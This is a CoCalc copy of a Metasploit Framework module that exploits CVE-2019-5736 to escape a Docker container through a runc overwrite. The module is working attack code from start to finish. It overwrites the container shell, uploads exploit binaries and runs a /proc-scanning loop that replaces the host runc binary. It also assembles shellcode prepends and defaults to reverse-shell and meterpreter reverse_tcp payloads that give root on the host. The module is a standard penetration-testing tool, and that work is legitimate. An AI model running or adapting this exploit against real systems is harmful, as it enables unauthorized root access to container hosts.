CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/docker_runc_escape.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
8
Rank = ManualRanking
9
10
include Msf::Post::Linux::Priv
11
include Msf::Post::File
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
# This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c
16
PAYLOAD_MAX_SIZE = 1048576
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Docker Container Escape Via runC Overwrite',
23
'Description' => %q{
24
This module leverages a flaw in `runc` to escape a Docker container
25
and get command execution on the host as root. This vulnerability is
26
identified as CVE-2019-5736. It overwrites the `runc` binary with the
27
payload and wait for someone to use `docker exec` to get into the
28
container. This will trigger the payload execution.
29
30
Note that executing this exploit carries important risks regarding
31
the Docker installation integrity on the target and inside the
32
container ('Side Effects' section in the documentation).
33
},
34
'Author' => [
35
'Adam Iwaniuk', # Discovery and original PoC
36
'Borys Popławski', # Discovery and original PoC
37
'Nick Frichette', # Other PoC
38
'Christophe De La Fuente', # MSF Module
39
'Spencer McIntyre' # MSF Module co-author ('Prepend' assembly code)
40
],
41
'References' => [
42
['CVE', '2019-5736'],
43
['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'],
44
['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'],
45
['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/']
46
],
47
'DisclosureDate' => '2019-01-01',
48
'License' => MSF_LICENSE,
49
'Platform' => %w[linux unix],
50
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
51
'Privileged' => true,
52
'Targets' => [
53
[
54
'Unix (In-Memory)',
55
{
56
'Platform' => 'unix',
57
'Type' => :unix_memory,
58
'Arch' => ARCH_CMD,
59
'DefaultOptions' => {
60
'PAYLOAD' => 'cmd/unix/reverse_bash'
61
}
62
}
63
],
64
[
65
'Linux (Dropper) x64',
66
{
67
'Platform' => 'linux',
68
'Type' => :linux_dropper,
69
'Arch' => ARCH_X64,
70
'Payload' => {
71
'Prepend' => Metasm::Shellcode.assemble(Metasm::X64.new, <<-ASM).encode_string
72
push 4
73
pop rdi
74
_close_fds_loop:
75
dec rdi
76
push 3
77
pop rax
78
syscall
79
test rdi, rdi
80
jnz _close_fds_loop
81
82
mov rax, 0x000000000000006c
83
push rax
84
mov rax, 0x6c756e2f7665642f
85
push rax
86
mov rdi, rsp
87
xor rsi, rsi
88
89
push 2
90
pop rax
91
syscall
92
93
push 2
94
pop rax
95
syscall
96
97
push 2
98
pop rax
99
syscall
100
ASM
101
},
102
'DefaultOptions' => {
103
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
104
'PrependFork' => true
105
}
106
}
107
],
108
[
109
'Linux (Dropper) x86',
110
{
111
'Platform' => 'linux',
112
'Type' => :linux_dropper,
113
'Arch' => ARCH_X86,
114
'Payload' => {
115
'Prepend' => Metasm::Shellcode.assemble(Metasm::X86.new, <<-ASM).encode_string
116
push 4
117
pop edi
118
_close_fds_loop:
119
dec edi
120
push 6
121
pop eax
122
int 0x80
123
test edi, edi
124
jnz _close_fds_loop
125
126
push 0x0000006c
127
push 0x7665642f
128
push 0x6c756e2f
129
mov ebx, esp
130
xor ecx, ecx
131
132
push 5
133
pop eax
134
int 0x80
135
136
push 5
137
pop eax
138
int 0x80
139
140
push 5
141
pop eax
142
int 0x80
143
ASM
144
},
145
'DefaultOptions' => {
146
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
147
'PrependFork' => true
148
}
149
}
150
]
151
],
152
'DefaultOptions' => {
153
# Give the user on the target plenty of time to trigger the payload
154
'WfsDelay' => 300
155
},
156
'DefaultTarget' => 1,
157
'Notes' => {
158
# Docker may hang and will need to be restarted
159
'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS],
160
'Reliability' => [REPEATABLE_SESSION],
161
'SideEffects' => [ARTIFACTS_ON_DISK]
162
}
163
)
164
)
165
166
register_options([
167
OptString.new(
168
'OVERWRITE',
169
[
170
true,
171
'Shell to overwrite with \'#!/proc/self/exe\'',
172
'/bin/sh'
173
]
174
),
175
OptString.new(
176
'SHELL',
177
[
178
true,
179
'Shell to use in scripts (must be different than OVERWRITE shell)',
180
'/bin/bash'
181
]
182
),
183
OptString.new(
184
'WRITABLEDIR',
185
[
186
true,
187
'A directory where you can write files.',
188
'/tmp'
189
]
190
)
191
])
192
end
193
194
def encode_begin(real_payload, reqs)
195
super
196
197
return unless target['Type'] == :unix_memory
198
199
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
200
# Replace any instance of the shell we're about to overwrite with the
201
# substitution shell.
202
pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL'])
203
overwrite_basename = File.basename(datastore['OVERWRITE'])
204
shell_basename = File.basename(datastore['SHELL'])
205
# Also, substitute shell base names, since some payloads rely on PATH
206
# environment variable to call a shell
207
pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename)
208
# Prepend shebang
209
"#!#{datastore['SHELL']}\n#{pl}\n\n"
210
end
211
end
212
213
def exploit
214
unless is_root?
215
fail_with(Failure::NoAccess,
216
'The exploit needs a session as root (uid 0) inside the container')
217
end
218
if target['Type'] == :unix_memory
219
print_warning(
220
"A ARCH_CMD payload is used. Keep in mind that Docker will be\n"\
221
"unavailable on the target as long as the new session is alive. Using a\n"\
222
"Meterpreter payload is recommended, since specific code that\n"\
223
"daemonizes the process is automatically prepend to the payload\n"\
224
"and won\'t block Docker."
225
)
226
end
227
228
verify_shells
229
230
path = datastore['WRITABLEDIR']
231
overwrite_shell(path)
232
shell_path = setup_exploit(path)
233
234
print_status("Launch exploit loop and wait for #{wfs_delay} sec.")
235
cmd_exec('/bin/bash', shell_path, wfs_delay, 'Subshell' => false)
236
237
print_status('Done. Waiting a bit more to make sure everything is setup...')
238
sleep(5)
239
print_good('Session ready!')
240
end
241
242
def verify_shells
243
['OVERWRITE', 'SHELL'].each do |option_name|
244
shell = datastore[option_name]
245
unless command_exists?(shell)
246
fail_with(Failure::BadConfig,
247
"Shell specified in #{option_name} module option doesn't exist (#{shell})")
248
end
249
end
250
end
251
252
def overwrite_shell(path)
253
@shell = datastore['OVERWRITE']
254
@shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}"
255
print_status("Make a backup of #{@shell} (#{@shell_bak})")
256
# This file will be restored if the loop script succeed. Otherwise, the
257
# cleanup method will take care of it.
258
begin
259
copy_file(@shell, @shell_bak)
260
rescue Rex::Post::Meterpreter::RequestError => e
261
fail_with(Failure::NoAccess, "Unable to backup #{@shell} to #{@shell_bak}: #{e}")
262
end
263
264
print_status("Overwrite #{@shell}")
265
begin
266
write_file(@shell, '#!/proc/self/exe')
267
rescue Rex::Post::Meterpreter::RequestError => e
268
fail_with(Failure::NoAccess, "Unable to overwrite #{@shell}: #{e}")
269
end
270
end
271
272
def setup_exploit(path)
273
print_status('Upload payload')
274
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
275
if target['Type'] == :unix_memory
276
vprint_status("Updated payload:\n#{payload.encoded}")
277
upload(payload_path, payload.encoded)
278
else
279
pl = generate_payload_exe
280
if pl.size > PAYLOAD_MAX_SIZE
281
fail_with(Failure::BadConfig,
282
"Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes")
283
end
284
upload(payload_path, generate_payload_exe)
285
end
286
287
print_status('Upload exploit')
288
exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
289
upload_and_chmodx(exe_path, get_exploit)
290
register_files_for_cleanup(exe_path)
291
292
shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
293
@runc_backup_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
294
print_status("Upload loop shell script ('runc' will be backed up to #{@runc_backup_path})")
295
upload(shell_path, loop_script(exe_path: exe_path, payload_path: payload_path))
296
297
return shell_path
298
end
299
300
def upload(path, data)
301
print_status("Writing '#{path}' (#{data.size} bytes) ...")
302
begin
303
write_file(path, data)
304
rescue Rex::Post::Meterpreter::RequestError => e
305
fail_with(Failure::NoAccess, "Unable to upload #{path}: #{e}")
306
end
307
register_file_for_cleanup(path)
308
end
309
310
def upload_and_chmodx(path, data)
311
upload(path, data)
312
chmod(path, 0o755)
313
end
314
315
def get_exploit
316
target_arch = session.arch
317
if session.arch == ARCH_CMD
318
target_arch = cmd_exec('uname -a').include?('x86_64') ? ARCH_X64 : ARCH_X86
319
end
320
case target_arch
321
when ARCH_X64
322
exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin')
323
when ARCH_X86
324
exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin')
325
else
326
fail_with(Failure::BadConfig, "The session architecture is not compatible: #{target_arch}")
327
end
328
end
329
330
def loop_script(exe_path:, payload_path:)
331
<<~SHELL
332
while true; do
333
for f in /proc/*/exe; do
334
tmp=${f%/*}
335
pid=${tmp##*/}
336
cmdline=$(cat /proc/${pid}/cmdline)
337
if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then
338
#{exe_path} /proc/${pid}/exe #{payload_path} #{@runc_backup_path}&
339
sleep 3
340
mv -f #{@shell_bak} #{@shell}
341
chmod +x #{@shell}
342
exit
343
fi
344
done
345
done
346
SHELL
347
end
348
349
def cleanup
350
super
351
352
# If something went wrong and the loop script didn't restore the original
353
# shell in the docker container, make sure to restore it now.
354
if @shell_bak && file_exist?(@shell_bak)
355
copy_file(@shell_bak, @shell)
356
chmod(@shell, 0o755)
357
print_good('Container shell restored')
358
end
359
rescue Rex::Post::Meterpreter::RequestError => e
360
fail_with(Failure::NoAccess, "Unable to restore #{@shell}: #{e}")
361
ensure
362
# Make sure we delete the backup file
363
begin
364
rm_f(@shell_bak) if @shell_bak
365
rescue Rex::Post::Meterpreter::RequestError => e
366
fail_with(Failure::NoAccess, "Unable to delete #{@shell_bak}: #{e}")
367
end
368
end
369
370
def on_new_session(new_session)
371
super
372
@session = new_session
373
runc_path = cmd_exec('which docker-runc')
374
if runc_path == ''
375
print_error(
376
"'docker-runc' binary not found in $PATH. Cannot restore the original runc binary\n"\
377
"This must be done manually with: 'cp #{@runc_backup_path} <path to docker-runc>'"
378
)
379
return
380
end
381
382
begin
383
rm_f(runc_path)
384
rescue Rex::Post::Meterpreter::RequestError => e
385
print_error("Unable to delete #{runc_path}: #{e}")
386
return
387
end
388
if copy_file(@runc_backup_path, runc_path)
389
chmod(runc_path, 0o755)
390
print_good('Original runc binary restored')
391
begin
392
rm_f(@runc_backup_path)
393
rescue Rex::Post::Meterpreter::RequestError => e
394
print_error("Unable to delete #{@runc_backup_path}: #{e}")
395
end
396
else
397
print_error(
398
"Unable to restore the original runc binary #{@runc_backup_path}\n"\
399
"This must be done manually with: 'cp #{@runc_backup_path} runc_path'"
400
)
401
end
402
end
403
404
end
405
406